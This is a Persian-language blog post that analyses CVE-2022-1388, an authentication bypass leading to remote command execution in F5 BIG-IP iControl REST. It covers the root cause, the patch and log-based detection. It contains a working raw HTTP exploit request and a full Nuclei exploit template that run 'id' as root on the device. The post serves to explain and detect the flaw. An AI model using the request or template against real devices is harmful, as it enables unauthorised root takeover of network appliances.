شرکت F5 اخیرا یک آسیب پذیری به شناسه CVE-2022-1388 رو اصلاح کرده. این آسیب پذیری در محصول BIG-IP و در قسمت iControl REST بود. این آسیب پذیری به دلیل اکسپلویت ساده و همچنین قابلیت اجرای دستور ، نگران کننده طبقه بندی شده بود. در این پست به بررسی عمیق این آسیب پذیری و همچنین نحوه نوشتن یک template برای ابزار nuclei می پردازیم.
کد PoC :
POST /mgmt/tm/util/bash HTTP/1.1 Host: 127.0.0.1 Authorization: Basic YWRtaW46aG9yaXpvbjM= X-F5-Auth-Token: asdf User-Agent: curl/7.82.0 Connection: X-F5-Auth-Token Accept: */* Content-Length: 39 {“command”:”run”,”utilCmdArgs”:”-c id”}
1 |
در کد بالا با ارسال یک درخواست http ، دستور id اجرا شده.
آنالیز عمیق:
سرویس iControl REST که یک برنامه جاوایی هست برای گوش دادن به پورت لوکالهاست 8100 اجرا میشه. این برنامه با یک وب سرور آپاچی که بعنوان reverse proxy کار میکنه ، در ارتباطه. این آسیب پدیری در مکانیسم احرازهویت بین آپاچی و iControl REST رخ میده.شکل زیر جریان درخواست کلاینت تا سرویس iControl REST رو نشون میده :
طبق دیاگرام بالا درخواست کلاینت به آپاچی میرسه و آپاچی برای بررسی احراز هویت اونو به mad_auth_pam.so میفرسته. این مولفه احراز هویت رو بررسی میکنه اگه مورد تایید نبود که هیچ اما اگه تایید بشه به سرویس iControl REST می فرسته. ماژول mad_auth_pam.so در F5 یک ماژول سفارشی آپاچی هستش که برخی از احرازهویت هارو انجام میده. این ماژول دو تا هوک با استفاده از ap_hook_check_authz و ap_hook_check_access_ex ثبت میکنه.
شکل زیر دیس اسمبل شده این تابع هست :
همونطور که میبینید این تابع کارای مختلفی رو انجام میده اما با زوم کردن روی قسمت احراز هویت شکل زیر رو داریم:
همونطور که در شکل قابل مشاهده هست ، تابع ابتدا هدر X-F5-Auth-Token رو بررسی میکنه. اگر هدر موجود بود درخواست به سرویس iControl REST ارسال می شود. اگر نبود هدر Authorization بررسی می شود و در صورتیکه این قسمت معتبر نبود ، درخواست کلا رد می شود.
درخواستیکه به iControl REST ارسال شده مقدار X-F5-Auth-Token توسط EvaluatePermissions.java بررسی میشه،اگر معتبر نباشه رد میشه.
با توجه به کد بالا اگه مقدار X-F5-Auth-Token وجود نداشته باشه ، اجرا در completeEvaluatePermission ادامه داره.
اگه به کد بالا نگاه کنید setBasicAuthFromIdentity اجرا میشه که کار این تابع تبدیل اطلاعات هویتی به اطلاعات احراز هویتی هستش.(نام کاربری و … رو ست میکنه ). اطلاعات هویتی توسط setIdentityFromBasicAuth در RestOperationIdentifier.java تکمیل میشه.
اگه به کدهای بالا دقت کنید اگه هدر X-Forwarded-Host شامل عبارت 127.0.0.1 یا localhost باشه، نام کاربری استخراج شده و بدون بررسی پسورد در قسمت اطلاعات احراز هویت قرار میگیرد.این یعنی اینکه اگه ما مقدار HOST رو برابر localhost قرار بدیم ، می تونیم با اعتبارنامه ای مثله admin:<anypass> بررسی مجوز توسط completeEvaluatePermission رو دور بزنیم و ادمین بشیم.
اینجا دو تا مشکل داریم . یکی اینکه ما نمیتونیم بررسی احراز هویت در mod_auth_pam.so رو بدون ست کردن X-F5-Auth-Token رد کنیم و همچنین نمیتونیم تایید سرویس REST رو با یک توکن معتبر X-F5-Auth-Token رد کنیم.خب اگه اینارو هم ست کنیم نمیتونیم با ست کردن 127.0.0.1 یا localhost بدون پسورد بررسی مجوزهارو دور بزنیم.
احتمالا با keep-alive و close در هدر Connection آشنا هستید، اما این هدر میتونه بعنوان کلاینت های پروکسی هم استفاده بشه که به پروکسی میگه بعضی هدرها قبل از ارسال درخواست باید حذف بشن.
با توجه به این نکته و اینکه هدرهای X-F5-Auth-Token در mod_auth_pam.so قبل از پردازش هدر Connection بررسی میشن ، ما میتونیم با ست کردن X-F5-Auth-Token در Connection ، بررسی توکن در mod_auth_pam.so رو دور بزنیم و با حذف این توکن با توجه به نکته بالا درخواست رو بدون توکن X-F5-Auth-Token به سرویس iControl REST برسونیمو از /mgmt/tm/util/bash برای اجرای دستورات با امتیاز root استفاده کنیم.
بررسی اصلاحیه :
اگه به وصله ای که F5 ارائه داده هم نگاهی کنیم میبینیم که اغلب اصلاحیه ها تو mod_auth_pam.so بوده که اومده و هدر Connection رو بررسی کرده که مقداری براش ست نکرده باشن.
همچنین تایید X-F5-Auth-Token به این تابع منتقل شده و AuthTokenWorker.java در سرویس iControl REST بروز شده تا مطمئن بشه که cache روی دیسک نوشته میشه ، که احتمالا به این دلیله که mod_auth_pam.so بتونه به درستی توکن تایید کنه.
پس بطورکلی برای اینکه بتونیم سیستم رو اکسپلویت کنیم موارد زیر داریم :
1- هدر Connection باید با مقدار X-F5-Auth-Token ست بشه.
2- هدر X-F5-Auth-Token باید حتما وجود داشته باشه.
3- هدر Host باید مقدار 127.0.0.1 یا localhost ست بشه یا هم هدر connection باید مقدار X-Forwarded-Host ست بشه.
4- هدر Auth باید یوزرنیم ادمین و یه پسورد دلخواه رو داشته باشه.
شناسایی سیستم هک شده :
با بررسی فایل لاگ در /var/log/audit و مشاهده دستورات اجرایی مختلف با mgmt/tm/util/bash ممکنه نشون دهنده این باشه که سیستم شما هک شده.
بررسی Nuclei Template برای این آسیب پذیری:
برای این آسیب پذیری چند تا تمپلت ارائه شده که برخیاش چک میکنن و برخیاش برای اکسپلویت هستش. تو این پست یک تمپلت که توسط dwisiswant0 نوشته شده رو بررسی میکنیم .
البته توسعه این اکسپلویت با پایتون و پاورشل و … هم سخت نیست اما Nuclei یه چیز جمع و جوریه 🙂
اگه با نحوه آسیب پذیری آشنا شده باشید و نحو تمپلت نویسی برای Nuclei رو بدونید ، نوشتن تمپلت برای این آسیب پذیری ساده هستش. اگه با نحو تمپلت نویسی آشنا نیستید میتونید تو شماره اول نشریه ONHEXmag جزییات زیادی در موردش بخونید.
تمپلت ها با یه id شروع میشن که مشخص کننده شناسه این تمپلت هستش و بعد از اون قسمت info میاد که توش اطلاعاتی در مورد آسیب پذیری ، شدت اون و نویسنده و … توش ذکر میشه که نیاز به توضیح زیادی نداره.
خب ما تا اینجا از تمپلت این مقدارش داریم :
id: CVE-2022-1388
info:
name: F5 BIG-IP iControl REST Auth Bypass RCE
author: dwisiswant0
severity: critical
description: |
This vulnerability may allow an unauthenticated attacker
with network access to the BIG-IP system through the management
port and/or self IP addresses to execute arbitrary system commands,
create or delete files, or disable services. There is no data plane
exposure; this is a control plane issue only.
reference:
- https://twitter.com/GossiTheDog/status/1523566937414193153
- https://support.f5.com/csp/article/K23605346
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2022-1388
cwe-id: CWE-306
metadata:
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
verified: true
tags: bigip,cve,cve2022,rce,mirai
variables:
auth: "admin:"
requests:
- raw:
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c id"
}
برای اینکه بدونیم دستور ما اجرا شده نیاز به بررسی داریم که این کار توسط بخش matchers تو تمپلتها انجام میشه. matchers ما از نوع word هستش یعنی باید دنبال کلمه تو پاسخ باشه. کلماتی هم که باید بررسی بشه عبارات “commandResult” و “uid=” هستند و چون شرط and گذاشتیم ، باید هر دو کلمه در پاسخ وجود داشته باشند تا تمپلت با موفقیت اجرا شده دونسته بشه.
1 2 3 4 5 6 |
matchers: - type: word words: - "commandResult" - "uid=" condition: and |